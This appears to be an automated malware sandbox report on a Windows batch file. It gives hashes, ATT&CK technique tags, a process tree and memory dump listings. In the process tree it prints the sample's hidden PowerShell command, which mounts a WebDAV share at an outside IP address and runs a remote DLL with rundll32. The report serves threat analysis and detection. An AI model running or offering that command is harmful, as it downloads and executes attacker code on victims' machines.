e5a8c8c01e51a0f898c348e973c3c7df4a0d95452693279b27ed9936c39b00f5

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
13/07/2024, 05:07

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General

Target

27785196243128921031.bat
Size

2KB
MD5

8ec41576d3d5400d6c4b1e6ea48e98aa
SHA1

eba1a40429aafea9a8fe9552af4cf86cf19c50d8
SHA256

e5a8c8c01e51a0f898c348e973c3c7df4a0d95452693279b27ed9936c39b00f5
SHA512

afbde70d900f9ccabf73a1425afcc46ab305a288af34d6d0953971549ca3c1aa3403c725eb0daef96ae91fe858bc584665feb0cf3cdbbeed03ecda12783c1b11

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2692	wordpad.exe
2692	wordpad.exe
2692	wordpad.exe
2692	wordpad.exe
2692	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 2692	3008	cmd.exe	31
PID 3008 wrote to memory of 2692	3008	cmd.exe	31
PID 3008 wrote to memory of 2692	3008	cmd.exe	31
PID 3008 wrote to memory of 2736	3008	cmd.exe	32
PID 3008 wrote to memory of 2736	3008	cmd.exe	32
PID 3008 wrote to memory of 2736	3008	cmd.exe	32
PID 2736 wrote to memory of 2484	2736	powershell.exe	34
PID 2736 wrote to memory of 2484	2736	powershell.exe	34
PID 2736 wrote to memory of 2484	2736	powershell.exe	34
PID 2736 wrote to memory of 2696	2736	powershell.exe	35
PID 2736 wrote to memory of 2696	2736	powershell.exe	35
PID 2736 wrote to memory of 2696	2736	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\27785196243128921031.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\141.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2484
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\141.dll entry
    3⤵
    PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2736-23-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2736-24-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/3008-17-0x00000000023B0000-0x00000000024B0000-memory.dmp

Filesize
1024KB

Download
memory/3008-16-0x00000000023B0000-0x00000000024B0000-memory.dmp

Filesize
1024KB

Download